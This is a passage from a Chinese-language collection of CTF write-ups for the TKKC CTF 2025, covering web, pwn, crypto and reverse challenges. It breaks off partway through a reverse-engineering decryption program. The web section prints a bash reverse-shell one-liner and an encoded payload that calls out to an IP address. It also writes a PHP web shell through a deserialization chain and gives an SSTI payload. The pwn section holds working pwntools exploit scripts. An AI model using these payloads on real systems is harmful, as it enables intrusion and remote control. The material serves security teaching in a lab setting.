本次WriteUp为各出题人收集版,如遇问题可以找对应题目出题人

Web

彩蛋

image-20251206013343403

顺便解释一下为什么是“可能见过也可能没见过”

image-20251206013500688

以及为什么提示叫“挖掘xujclab.com”

image-20251206013623384

easy_upload

wp-2.pdf

ez_http

出题者 zsm 留言:第一次出web题,质量不算特别高,请见谅

源码

<?php
echo "<h1>你知道http协议吗?</h1>";
echo "<h1>不知道?还不去查查!!!</h1>";
echo "<h2>你知道怎么修改请求包吗?</h2>";
echo "<!-- 你也许需要一个工具?看看web手册呢? -->";
$flag = file_get_contents('/flag');

$flags = str_split($flag, 5);

if ($_SERVER['HTTP_USER_AGENT'] != 'xujcBrowser') {
	die('请使用xujcBrowser浏览器访问');
}
echo $flags[0];

if (!isset($_GET['hello'])) {
	die('<br>请用GET方式传递hello=world');
}
echo $flags[1];

if ($_GET['hello'] != 'world') {
	die("<br>hello参数不正确");
}
echo $flags[2];

if (!isset($_POST['web'])) {
	die('<br>请用POST方式传递web=security');
}
echo $flags[3];

if ($_POST['web'] != 'security') {
	die('<br>web参数值不正确');
}
echo $flags[4];

if (!isset($_COOKIE['flag'])) {
	die('<br>请设置cookie flag=secret');
}
echo $flags[5];

if ($_COOKIE['flag'] != 'secret') {
	die('<br>cookie flag值不正确');
}
echo $flags[6];

if ($_SERVER['HTTP_REFERER'] != 'http://localhost:8080/') {
	die('<br>请从http://localhost:8080/访问');
}
echo $flags[7];

if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') {
	die('<br>请从127.0.0.1访问');
}
echo $flags[8] . "<br>";
echo '<h1>看来你知道http协议了</h1>';

首先你要去学一下http协议,以及了解一下这个包里面的内容

UA头即User-Agent一般情况下会含有你浏览器信息,那么我可以随意修改,比如我用curl访问一个网站

image

UA显示的就是curl,那我手动修改

image

Get传参不用多说了吧?hello=world,post与之类似,加POST即可

Cooike一般是身份认证与会话保持

从什么什么访问不是让你改host的,你需要知道referer头这个东西,作用告诉目标服务器 “当前请求是从哪个页面 / URL 跳转过来的”

X-Forwarded-For一般用于有代理的情况下,告诉服务器我的「真实ip」

完整payload curl -s -X POST “http://localhost:50002/?hello=world” -H “User-Agent: xujcBrowser” -H “Referer: http://localhost:8080/” -H “X-Forwarded-For: 127.0.0.1” -b “flag=secret” -d “web=security”

ez-ssti

这个题的目的是让各位学一下python还有认识ssti

源代码

import os

from flask import Flask, render_template_string, request

app=Flask(__name__)

flag=os.environ.get("GZCTF_FLAG")
os.unsetenv("flag")

@app.route('/')

def index():
    return open(__file__,"r").read()

@app.errorhandler(404)
def page_not_found(e):
    print(request.root_url)
    return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))

if __name__=='__main__':
    app.run(host="0.0.0.0",port=8000)

这里为了不被fenjing梭了,使用了如下操作,这里unsetenv只会把环境变量里的flag删掉,但是不会删掉flag这个变量

flag=os.environ.get("GZCTF_FLAG")
os.unsetenv("flag")

我们需要从拿到当前模块也就是main然后就能拿flag,这里主要就是怎么拿main,可以通过拿sys模块,sys模块里有全部被导入的模块

payload

{{x.init.globals[’builtins’]"import".modules[’main’].flag}}

hello-web

真的easy题

源代码

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>查看源代码</title>
    <script>
      document.addEventListener("contextmenu", function (e) {
        alert("想看源代码?不可能的");
        e.preventDefault();
      });
      document.addEventListener("keydown", function (e) {
        if (e.key === "F12") {
          alert("不能F12哦");
          e.preventDefault();
        }
      });
    </script>
  </head>

  <body>
    <h1>Welcome to TKKC CTF 2025</h1>
    <!-- 看看f14g.php -->
    <!-- 此在flag的第一段:xujc{7f2040-1987-4e0a -->
    <p>这是一个简洁的网页,web方向的题差不多都有一个网站</p>
    <p>零基础的同学记得多搜搜</p>
  </body>
</html>
<?php

$flag = '-872d-68589c4ab3d3}';
header('flag: ' . '此乃flag的第二段:' . $flag);
echo ('你知道如何查看响应包吗?');

很明显f12就可以看到第一段flag,第二段提示的很明显,在响应包里面,这里直接curl -v即可

ez_shell

改编题,前面没有改动,后面其实提权的方法更多(,目的是让大家认识一下过滤这种东西,以及弹shell

源代码

<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
	echo strpos($cmd, ' ');
	die('no space allowed');
}
@exec($cmd);

首先读一下代码,传参会进入到cmd里面执行,并且不允许有空格的出现。

web题中绕过空格的方法一般有url编码,16进制等,在这里url编码绝对是不行的,因为url编码到服务器依旧会被解码成空格的形式进入到cmd执行,而6进制就没有这种烦恼,当然这里推荐另一个${IFS},这个在shell中会被解析成空格可以绕过这个限制。

绕过解决了,那我怎么拿flag呢?这里推荐弹shell。

非预期

这里出题失误了,可以直接看到当前目录下有一个wc文件,那直接执行这个去拿flag就行了。

预期

预期是要弹shell的。bash -i >& /dev/tcp/ip/port 0>&1是最直接有效的连接方式,但是直接这样传会被自动过滤掉,需要base编码再解码,这里给一个payload

bash%24%7BIFS%7D%2Dc%24%7BIFS%7D%27%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjEuNDEuMTAwLjE5OC85MDAxIDA%2BJjE%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%27

这里url编码了两次,要不然过不去

拿到shell后直接cat flag没有权限的,find / -user root -perm -4000 -print 2>/dev/null可以去查找有root权限的可执行文件,当前目录下的wc就是,wc命令本身并不会显示文件的内容,而是输出统计信息,而当发生错误时,文件内容会出现在消息中,所以可以通过查看报错信息来查看文件内容

ZSM=/flag
./wc --files0-from "$ZSM"

ez_unser

php反序列化题目

源代码

<?php
highlight_file(__FILE__);
class Man
{
	private $name = "金铲铲启动!";
	public function __wakeup()
	{
		echo str_split($this->name);
	}
}
class What
{
	private $Kun = "安卓人";
	public function __toString()
	{

		echo $this->Kun->hobby;
		return "Ok";
	}
}
class Can
{
	private $Hobby = "安卓手机";
	public function __get($name)
	{
		var_dump($this->Hobby);
	}
}
class I
{
	private $name = "安卓思维";
	public function __debugInfo()
	{
		$this->name->say();
	}
}
class Say
{
	private $evil;
	public function __call($name, $arguments)
	{
		$this->evil->Evil();
	}
}
class Hajimi
{
	public function Evil()
	{
		$filename = time() . ".log";
		file_put_contents($filename, $_POST["content"]);
		echo $filename;
	}
}
class Manbo
{
	public function __call($name, $arguments)
	{
		$o = "./" . str_replace("..", "安卓学校", $_POST["o"]);
		$n = $_POST["n"];
		rename($o, $n);
	}
}
unserialize($_POST["data"]);

里面有一点烂梗不要在意(

先看看__debugInfo(): 当通过var_dump() 打印对象时该函数就会被调用

前面的步骤非常的公式化,就是使用 __construct方法,给自己这个类的唯一的那个成员变量赋值为下一个类的实例化对象。

审计代码可以知道这道题的基本思路:首先通过 Hajimi 类,把木马写入创建的 log 文件。然后通过 Manbo 类,把 log 文件转换为可被利用的 php 文件。

下面是payload,第一次我要拿到log文件

curl -X POST http://localhost:60083 \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "data=O:3:%22Man%22:1:{s:9:%22%00Man%00name%22;O:4:%22What%22:1:{s:9:%22%00What%00Kun%22;O:3:%22Can%22:1:{s:10:%22%00Can%00Hobby%22;O:1:%22I%22:1:{s:7:%22%00I%00name%22;O:3:%22Say%22:1:{s:9:%22%00Say%00evil%22;O:6:%22Hajimi%22:0:{}}}}}}&content=<?php passthru(\$_GET['cmd']); ?>"

然后再往里面写马

curl -X POST http://localhost:60083 \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "data=O:3:%22Man%22:1:{s:9:%22%00Man%00name%22;O:4:%22What%22:1:{s:9:%22%00What%00Kun%22;O:3:%22Can%22:1:{s:10:%22%00Can%00Hobby%22;O:1:%22I%22:1:{s:7:%22%00I%00name%22;O:3:%22Say%22:1:{s:9:%22%00Say%00evil%22;O:5:%22Manbo%22:0:{}}}}}}&o=1762603744.log&n=shell.php"

访问shell.php,cmd=env读取flag即可

Pwn

ret2text_revenge

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols        No    0               2               ret2text_revenge
ret2text_revenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b2a8cc230e65aca2af306b5ce1fdb18bee225972, not stripped

跟原版一模一样,还是那个ret2text,唯一需要注意的就是后门函数加了参数验证部分

void secret(int secret)
{
	if(secret == -2){
		system("/bin/sh");
	}else{
		puts("Malicious action detected\n");
	}
}

ret时跳过该部分即可

from pwn import *

io = process("./ret2text_revenge")
context.arch = "amd64"
context.log_level = "debug"

io.recvuntil(b"input ur name: ")
payload = b"a" * 0x20 + p64(0xDEADBEEF) + p64(0x0000000000400698)
io.send(payload)
io.interactive()

ret2text

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   67 Symbols        No    0               2               ret2text_64
attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d796952855b34e5976e20b20676075c98599d69f, not stripped

无canary无PIE有溢出到返回地址的漏洞,并且有system("/bin/sh")后门,最基础的ret2text一把梭了

from pwn import *

io = process("./ret2text_64")
context.arch = "amd64"
context.log_level = "debug"

io.recvuntil(b"input ur name: ")
payload = b"a" * 0x20 + p64(0xDEADBEEF) + p64(0x000000000040064B)
io.send(payload)
io.interactive()

ret2shellcode

程序mmap了一段可读可写可执行的内存,并且读入用户输入后执行输入的内容,用pwntools自带的shellcraft.sh()生成system("/bin/sh")的shellcode一把梭

from pwn import *

io = process("./ret2shellcode")
context.arch = "amd64"
context.log_level = "debug"

io.recvuntil(b"input shellcode: \n")
io.send(asm(shellcraft.sh()))
io.interactive()

ret2libc

经典ret2libc题,大溢出并且给了pop_rdi的gadget,直接泄露puts@got算libc基址然后ret2system即可

from pwn import *

io = process("./ret2libc")
context.arch = "amd64"
context.log_level = "debug"

bss = 0x0000000000601040 + 0x500
pop_rdi = 0x0000000004005FB
puts_got = 0x0000000000601018
puts_plt = 0x4004E0
main = 0x0000000000400600
payload = (
    b"a" * 0x20 + p64(bss) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
)
io.recvuntil(b"say sth: \n")
pause()
io.send(payload)
base = u64(io.recv(6).ljust(8, b"\0")) - 0x80970  # offset in glibc
success(hex(base))
binsh = base + 0x00000000001B3D88
system = base + 0x000000000004F420
payload = payload = (
    b"a" * 0x20
    + p64(0xDEAD)
    + p64(pop_rdi)
    + p64(binsh)
    + p64(0x00000000004004C6)
    + p64(system)
)
pause()
io.send(payload)
io.interactive()

真·签到

简单命令执行绕过,ida一看发现过滤sh/echo/$0和字符f,用通配符绕过对f的限制直接读取flag即可

cat *lag
xujc{test}

canaryBypass

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   69 Symbols        No    0  2pwn-canaryBypass-ubuntu_18.04/src/attachment
pwn-canaryBypass-ubuntu_18.04/src/attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a8e95399bc962fe9a3748c09c96720852fa1dfa9, not stripped

checksec发现除了NX其他啥也没开,结合题目名字猜测是canary绕过题

进入主函数发现确实如此:两次能够溢出到返回地址的输入中间插入了个输出输入的内容. 因为read没有\x00隔断可以泄露内容,于是溢出覆盖canary固定为\x00的最低位,puts时泄露canary,然后直接ret2backdoor.

from pwn import *

io = process("./pwn")
context.arch = "amd64"
context.log_level = "debug"

payload = b"a" * (0x20 - 8) + b"Z"
io.send(payload)
io.recvuntil(b"Z")
canary = u64(io.recv(7).rjust(8, b"\0"))
success(hex(canary))
payload = b"a" * (0x20 - 8) + p64(canary) + p64(0xDEADBEEF) + p64(0x00000000004006FB)
io.send(payload)
io.interactive()

Crypto

base64

普普通通的base64加密,直接工具解密即可

image

base64?yep?yep!

base64换表加密,工具or代码都可以

image

import base64

cipher = "bESnV3qUaTe1U3isaS9hy19maXCGU3OlzT5oU2i0U2iwU2CcW29sWC9fWTamyj5myja9"

new = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
old = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

trans_table = str.maketrans(new, old)

standard_b64_str = cipher.translate(trans_table)

decoded_bytes = base64.b64decode(standard_b64_str)
decoded_str = decoded_bytes.decode("utf-8", errors="ignore")

print("解码结果:", decoded_str)

rot

很简单的rot加密,偏移为13

image

注:上面三个希望大家不要只会工具一把梭,希望可以看看原理和加解密的实现

普通的rsa

最简单的rsa了,你知道的,task.py给了n、e、c三个参数,c为加密结果,我们解密的形式为$m = c^{d} mod n$,其中的$d=inverse(e,phi)$,而$phi=(p-1)*(q-1)$,所以需求就是求出pq,这里推荐一个分解网站factor,分解之后求解即可。

from Crypto.Util.number import*
n=73069886771625642807435783661014062604264768481735145873508846925735521695159
q = 189239861511125143212536989589123569301
p = 386123125371923651191219869811293586459
e=65537
c=5842110362263697099007961527951158442783563352184887565715698683257397695268
phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))

这里同时提一下,sympy库也有factor的函数,sagemath这个数学工具也有,并且效率是最快的,windows下有个工具yafu也很快。

略微改变的rsa

注意pq的生成方式,p是一个大素数,q是p的下一个素数,那么可以认为$q=p+a$,并且a很小,那么算法好的同学可能就会想到费马分解了。

当然python有更加轮椅的方式,既然可以认为$n=p*(p+a)$且a很小,那么是不是就$n \approx p^{2}$,那么我直接开平方即可。

这里需要用到gmpy2这个库,一个高精度的数学处理库,有一个iroot函数,使用方法自己问ai吧。

开方之后只要确保是素数即可,那我写一个数就很有可能是了。

from Crypto.Util.number import*
from gmpy2 import*

n= 149957243909894381860850702534211068468008806150820192255054572218394628763328411894943700050984763574555344544529457216381770376031106600297259791299119221298135901812376222712614290316714823215348930277253269060210923129487101507948482277667873871487501260145864785107856065270011047624155405928634366326759
c= 113093465422408631648129709782544269635057367892610123877596895885387691290198941717290616955851875358261149992536303803939216715529444866328795229395721146576772772893462320463183968921836096969277845567128326931762575174059134806407967488630449780540295657819448794993190038378841648194147003959579527526384
e=65537

p=iroot(n,2)[0]
p=next_prime(p)
q=n//p

phi=(p-1)*(q-1)
d=inverse(e,phi)

print(long_to_bytes(pow(c,d,n)))

再变形?

首先看rsa函数,n1,n2的生成方法很明显有个公因数p,可以直接用GCD求出,这里不推荐math这个库,精度比较低,推荐使用密码库里面的GCD()函数。

第二部分是个aes加密,key是key1,iv是k2,这里没有涉及到aes的原理性问题,目的是让大家知道怎么调库去解密,原理大家可以看看一些师傅的博客,以及ctfwiki

from Crypto.Cipher import AES
from Crypto.Util.number import *

n1= 91043386443310027787197666675351926506853198163170958246917855126465055032086201273870750257142086175850991861614666274753474851657495107513231585946222485873501336152359971773106135693864745991124603220030491806880916117781631738028483019857163882524817298576172243628298029243017666191577040656106774058311
n2= 113388445471254554792463884880085739183481602118458663739933494030342097695816021231010266758370635305389858989813945104709444708212043447512240682140216317160675185036212384169806238149885267667476176974361736397486465480866372864210216405385041892590528009700629470377008721462876253840697752052927644529763
c1= 65487974635603110237361360626126812524435842253515352649178499567040033921048942326654059630650668143010122446071795747345780845081734649229068208858034685610007777785864022233815162559234341828090002470353692235558365776669896718183453392759051270471405742196804153862187018949665985479067729407544598500420
c2= 40876726588116996978446334163620999869018827376925551745748853786722527462035382837564051408860754053074500699330092680546914214561205428377971035354814285970069819012833091660879922413368835560873195224597574266333328790172261201620023333329187690533086076601604900322563127096206690918823455985244807310580
e=65537

ciphertext=b'N(\x9b\xefq\x0e\x82\xdf\xcdl\xd3\x95\x1d\xe0\xf8\xb1\xef.=\x19hx,\xdd9i\x97\x92\xbbE\xdb\xd8a\xfb\xfd\xf4 >\x82\xef\xef9\xc2\xa6u\xed \x13'

p=GCD(n1,n2)
q1=n1//p
q2=n2//p

phi1=(p-1)*(q1-1)
phi2=(p-1)*(q2-1)

d1=inverse(e,phi1)
d2=inverse(e,phi2)

key1=pow(c1,d1,n1)
key2=pow(c2,d2,n2)

key1 = long_to_bytes(key1)[:16].ljust(16, b'\0')
key2 = long_to_bytes(key2)[:16].ljust(16, b'\0')

cipher = AES.new(key1, AES.MODE_CBC, key2)
pt = cipher.decrypt(ciphertext)
print(pt)

你是0还是1?

大家在刚入门的时候看到这种题,当你不知道这个函数干什么的时候,就可以直接输出一下,看看到底是什么,有助于大家理解。

flag转成了二进制形式,下面是核心加密函数。

for bit in binary_flag:
    rand_multiplier = random.randint(p // 4, p // 2)
    rand_offset = random.randint(1, 10)
    pk_i = p * rand_multiplier + rand_offset
    public_keys.append(pk_i)

    small_noise = 2 * random.randint(1, p // 2**64)
    large_noise = p * random.randint(p // 4, p // 2)
    c_i = int(bit) + small_noise + large_noise
    ciphertext.append(c_i)

$pk_{i}=p*a+b$,其中a是大数字,b是1到10的小数字,并且有一堆$pk_{i}$,那么如果我可以知道b,那就是$pk_{i}-b=ap$,a是随机的,但是p是固定的,那么GCD就可以求出来。

b怎么求呢?范围这么小,爆破呗,我取两个$pk_{i}$的值,然后i,j爆破b,看看有没有p这个GCD能求出来的。

下面看c,$c_{i}=bit+2x+py$,这里是考了一点点数论小知识,$2*9 mod 2 = 0$,如果你知道这个,那你就知道下面该怎么化简了。

bit只能是0或者是1,那么

$c_{i} mod p =bit + 2*x $

$c_{i} mod p mod 2 =bit $

那么flag是不是就出来了

import ast
from math import gcd

with open("pk.txt", "r") as f:
    pk_str = f.read()
public_keys = ast.literal_eval(pk_str)

with open("c.txt", "r") as f:
    c_str = f.read()
ciphertext = ast.literal_eval(c_str)

p = None
for i in range(1, len(public_keys)):
    pk0 = public_keys[0]
    pki = public_keys[i]
    for o0 in range(1, 11):
        for oi in range(1, 11):
            a = pk0 - o0
            b = pki - oi
            if a < 0 or b < 0:
                continue
            g = gcd(a, b)
            if 120 < g.bit_length() < 140:
                valid = True
                for pk in public_keys:
                    r = pk % g
                    if not (1 <= r <= 10):
                        valid = False
                        break
                if valid:
                    p = g
                    break
        if p is not None:
            break
    if p is not None:
        break

binary_flag = ""
for c in ciphertext:
    remainder = c % p
    bit = remainder % 2
    binary_flag += str(bit)

flag = ""
for i in range(0, len(binary_flag), 8):
    byte = binary_flag[i:i+8]
    ch = chr(int(byte, 2))
    flag += ch

print(flag)

这个怎么去分解呢?

^的意思是异或(xor),你首先要知道a^a=0 0^b=b,那么leak1^leak2=p^q,下面要求pq,我现在知道p*q和p^q的值,也许会想能不能爆破,效率太慢了,那就得用剪枝算法了!

搜索方式

  • 从高位向低位搜索
  • 若xor当前位为1,则可能为两种情况:p为1,q为0 或者 p为0,q为1;反之xor当前位为0,则p为1,q为1 或者 p为0,q为0.

剪枝条件:

  • 将p和q剩下位全部填充为1,需要满足 p*q > n
  • 将p和q剩下位全部填充为0,需要满足 p*q < n

那么就可以求解了

n= 64576426374005990307430382625219753431163629990029156781655887194458084770715240199864543073509484345275440590691613109532967347940451295982130114645630471613715976968468756527997062568560987598085821034746921280166437512588231818197909086157687298966195041650867121408307902652939827376931439505184800188653
e= 39396751644145079970935510688652776445633875698658871247285083887788576970254549959428080621487328975913629994512795016857384053463961882514525716202692262677466461803476072511770559210879317513821520907830151322863933918518309214229920906551049123115615493740442319070605893029814635110520827013856999789643
c= 33734662164999362381910052206144731433156649963716753505041912341512545424674012321090129956407491434885734281507804358768865444731325828729729363295074811876400792272207886882184953495177421885614089978477878425653831355493154578065937021411759450674030312014964127053653861789580312443844213630976432466924
leak1= 7716862104414549691444373596398512790099682120246248091010250726824156678861122310823199803685541498529480413821801156214094501081331047435995556549371759
leak2= 8368223443705706764681175446314377977241303104001018600688636167350053855314570565171309901511566022103020582455404616492946323445163267132985292143423491


from Crypto.Util.number import *

leak=leak1^leak2
leak_bits = 512
xor = bin(leak)[2:].zfill(512)
pq = []
def pq_high_xor(p="", q=""):
   lp, lq = len(p), len(q)
   tp0 = int(p + (512-lp) * "0", 2)
   tq0 = int(q + (512-lq) * "0", 2)
   tp1 = int(p + (512-lp) * "1", 2)
   tq1 = int(q + (512-lq) * "1", 2)
   if tp0 * tq0 > n or tp1 * tq1 < n:
      return
   if lp == leak_bits:
      pq.append(tp0)
      return
   if xor[lp] == "1":
      pq_high_xor(p + "0", q + "1")
      pq_high_xor(p + "1", q + "0")
   else:
      pq_high_xor(p + "0", q + "0")
      pq_high_xor(p + "1", q + "1")
pq_high_xor()
p,q=pq[0],pq[1]
phi=(p-1)*(q-1)
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

Reverse

ez_xor

简单xor加密,key为3,提出密文后直接解

#include <stdio.h>
const unsigned char encrypted[] = {0x7B, 0x76, 0x69, 0x60, 0x78, 0x74, 0x6B,
                                   0x62, 0x77, 0x5C, 0x62, 0x6D, 0x5C, 0x66,
                                   0x79, 0x5C, 0x7B, 0x6C, 0x71, 0x7E};
int main() {
  char flag[sizeof(encrypted)] = {};
  for (int i = 0; i < sizeof(encrypted); i++) {
    flag[i] = encrypted[i] ^ 3;
  }
  puts(flag);
}
./exp
xujc{what_an_ez_xor}

self_modify

第一眼没看到关键逻辑,先分析别的逻辑.

该程序先使用"roxrox"为key xor解密了一串字符,然后mmap了一段可执行内存运行了它,由此得知关键点大概率藏在这段神秘的shellcode里,ida把数据提出来解密

// decrypt
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char encrypted_asm[] = {
    "\x81\x60\x66\x88\x3a\x30\xfb\x8a\x30\xf3\x83\xe8\x73\x6f\x78\x3a\xe6\xc5"
    "\x0a\x91\x87\x8d\x27\xf1\xc7\x1f\x86\x8d\x90\x1c\x3a\xe4\x7c\x57\x47\x78"
    "\x72\x6f\x30\xfb\x2a\x80\x43\xaf\x30\xf1\xd2\x08\x8c\x90\x87\x6d\x1b\x72"
    "\xca\x6f\x78\x72\x6f\x91\xef\x6c\x78\x72\xa9\xfd\xd8\x91\x87\x8d\x15\xbe"
    "\xf7\xc4\x86\x8d\x90\x0b\xb4\xea\xd4\x8c\x90\x87\x1f\xa9\xfd\xdf\x91\x87"
    "\x8d\x15\xbe\xf7\xc1\x86\x8d\x90\x0b\xb4\xea\xd7\x8c\x90\x87\x1f\xa8\xfd"
    "\xf6\x91\x87\x8d\x6f\x78\x72\x6f\x93\x6c\xe4\xfd\xf6\x91\x87\x8d\xe6\xba"
    "\xf9\xea\xfc\x8c\x90\x87\x3a\xf7\xf0\xe6\x6a\x88\x8c\x90\x87\xf1\xea\xfc"
    "\x8c\x90\x87\x73\xee\xc5\xf6\x91\x87\x8d\x90\x78\x72\x6f\x06\xa4\xa8\xfd"
    "\xfa\x91\x87\x8d\x6f\x78\x72\x6f\xbf\xf7\xe3\x86\x8d\x90\x78\x72\x6f\x78"
    "\x9b\xdc\x78\x72\x6f\xf3\xf7\xe3\x86\x8d\x90\x30\xea\x60\xce\xf6\x6a\x88"
    "\x8c\x90\x87\x7d\xd9\xa8\xf9\xea\xf0\x8c\x90\x87\xff\x5b\x7a\xf9\xe2\xf4"
    "\x8c\x90\x87\x3a\x0c\xb9\x3a\x06\xb8\xd9\xc5\xd2\x58\x27\xb9\x9a\x4f\x30"
    "\xfb\xad\xf1\xba\xae\x80\x6d\x46\xba\xfb\xbf\x79\xb2\x6e\xa8\x73\xaf\x51"
    "\xb3\xe6\xb2\x3a\x0c\xba\x7d\xd9\xfc\x77\xc5\x86\x8d\x90\x77\xc4\xaf\x79"
    "\x82\x4a\x87\x72\x6f\x78\xfb\xea\xf0\x8c\x90\x87\xf9\xea\xf4\x8c\x90\x87"
    "\x3a\xf7\x77\xc4\xeb\x7d\x82\x91\x87\x8d\xe7\xfd\xf1\x91\x87\x8d\xe4\xfd"
    "\xfa\x91\x87\x8d\x27\xe0\x7d\xd9\xec\x77\x9f\x86\x8d\x90\xf3\xf7\xe3\x86"
    "\x8d\x90\x30\xea\xe7\xec\x77\x9f\x86\x8d\x90\xf3\xf7\xe7\x86\x8d\x90\x30"
    "\xea\x60\xce\xe7\xec\x86\x8d\x90\xf0\xe6\x6a\x88\x8c\x90\x87\xf1\xea\xf4"
    "\x8c\x90\x87\x73\xee\xc5\xfe\x91\x87\x8d\x90\x78\x72\x6f\x77\xfc\x52\x87"
    "\x8d\x90\xbf\xf7\xff\x86\x8d\x90\x78\x72\x6f\x78\xb5\xea\xf0\x8c\x90\x87"
    "\x72\x6f\x78\x72\x27\xbf\xf7\xf7\x86\x8d\x90\x78\x72\x6f\x78\x9b\x80\x78"
    "\x72\x6f\xf3\xf7\xff\x86\x8d\x90\xfb\xb2\x6e\x5d\x8d\x6f\x78\x72\xe6\xfd"
    "\xe2\x91\x87\x8d\xe4\xfd\xe2\x91\x87\x8d\x27\xe0\x7d\xd9\xfc\x77\x9f\x86"
    "\x8d\x90\x77\xc4\xbf\xf3\xf7\xe7\x86\x8d\x90\x79\xa2\x4a\x87\x72\x6f\x78"
    "\xfb\xea\xf0\x8c\x90\x87\xf9\xea\xe8\x8c\x90\x87\x3a\xf7\x77\xc4\xeb\x7d"
    "\x82\x91\x87\x8d\xe7\xfd\xf3\x91\x87\x8d\xe4\xfd\xfa\x91\x87\x8d\x27\xe0"
    "\x7d\xd9\xec\x77\x9f\x86\x8d\x90\xf3\xf7\xff\x86\x8d\x90\x30\xea\xe7\xec"
    "\x77\x9f\x86\x8d\x90\xf3\xf7\xe7\x86\x8d\x90\x30\xea\x60\xce\xe7\xee\x86"
    "\x8d\x90\xf0\xe6\x6a\x88\x8c\x90\x87\xf9\xea\xe8\x8c\x90\x87\x3a\xf7\x77"
    "\xc4\xfb\x7d\x82\x91\x87\x8d\xe4\xfd\xfa\x91\x87\x8d\x27\xe0\x7d\xd9\xfc"
    "\x77\x9f\x86\x8d\x90\x79\xa2\x60\xce\xb2\x27\xe0\x7d\xd9\xfc\x77\x9f\x86"
    "\x8d\x90\xf0\xf7\xed\x86\x8d\x90\x30\xf9\xfa\x00\x8c\x90\x87\x3a\xe4\xfd"
    "\xea\x91\x87\x8d\x27\x79\xa2\x60\xce\x72\x5d\xfd\xf0\x91\x87\x8d\x27\xf5"
    "\xff\xdf\x86\x8d\x90\x30\xf9\xfa\xe0\x8c\x90\x87\x3a\x6e\xb2\xfa\x6d\x30"
    "\xf1\xea\xe0\x8c\x90\x87\x73\x27\xfb\xcf\xf7\x86\x8d\x90\x66\x7d\xe9\x7b"
    "\x8d\x90\x87\xb4\xea\xa8\x8c\x90\x87\xf5\xa9\xfd\xa3\x91\x87\x8d\x3c\xbe"
    "\xf7\xbd\x86\x8d\x90\x29\xb4\xea\xab\x8c\x90\x87\x4d\xa9\xfd\xa6\x91\x87"
    "\x8d\xbb\xbe\xf7\xba\x86\x8d\x90\x6a\xb4\xea\xae\x8c\x90\x87\x41\xa9\xfd"
    "\xa5\x91\x87\x8d\xd1\xbe\xf7\xb7\x86\x8d\x90\x52\xb4\xea\xa1\x8c\x90\x87"
    "\x4f\xa9\xfd\xa8\x91\x87\x8d\x52\xbe\xf7\xb4\x86\x8d\x90\x4c\xb4\xea\xa4"
    "\x8c\x90\x87\xc5\xa9\xfd\xaf\x91\x87\x8d\xde\xbe\xf7\xb1\x86\x8d\x90\x15"
    "\xb4\xea\xa7\x8c\x90\x87\xc2\xa9\xfd\x92\x91\x87\x8d\xa3\xbe\xf7\x8e\x86"
    "\x8d\x90\x3a\xb4\xea\x9a\x8c\x90\x87\xf9\xa9\xfd\x91\x91\x87\x8d\x4f\xbe"
    "\xf7\x8b\x86\x8d\x90\xd1\xb4\xea\x9d\x8c\x90\x87\x5a\xa9\xfd\x94\x91\x87"
    "\x8d\x20\xbe\xf7\x88\x86\x8d\x90\x6a\xb4\xea\x90\x8c\x90\x87\xb8\xa9\xfd"
    "\x9b\x91\x87\x8d\x02\xbe\xf7\x85\x86\x8d\x90\x1d\xb4\xea\x93\x8c\x90\x87"
    "\x77\xa9\xfd\x9e\x91\x87\x8d\x5b\xbe\xf7\x82\x86\x8d\x90\x56\xb4\xea\x96"
    "\x8c\x90\x87\xec\xa8\xfd\xe6\x91\x87\x8d\x6e\x78\x72\x6f\x30\xb5\xea\xd8"
    "\x8c\x90\x87\x72\x6f\x78\x72\x84\x38\x3a\xe2\xed\xc2\x91\x87\x8d\x27\xf3"
    "\xf7\xcf\x86\x8d\x90\x30\x73\xbf\x77\xc4\x7f\x30\xff\xe2\xa8\x8c\x90\x87"
    "\x3a\xe4\xfd\xd2\x91\x87\x8d\x27\x79\xba\x60\xce\x72\x57\xba\x06\x63\xbf"
    "\xf7\xfb\x86\x8d\x90\x78\x72\x6f\x78\x99\x7d\x30\xf1\xea\xd8\x8c\x90\x87"
    "\x73\x27\xfb\xcf\xcf\x86\x8d\x90\x66\x04\xd9\xf3\xf7\xfb\x86\x8d\x90\x30"
    "\xf9\x3a\x80\x16\x27\x53\x66\x4a\x50\x72\x6f\x78\x06\x6a\x90\x74\x94\x87"
    "\x8d\xa6\xbb"};
int main() {
  const uint8_t xor_key[] = "roxrox";
  size_t klen = sizeof(xor_key) - 1;
  int enc_len = sizeof(encrypted_asm);
  for (size_t i = 0; i < enc_len; i++)
    encrypted_asm[i] ^= xor_key[i % klen];
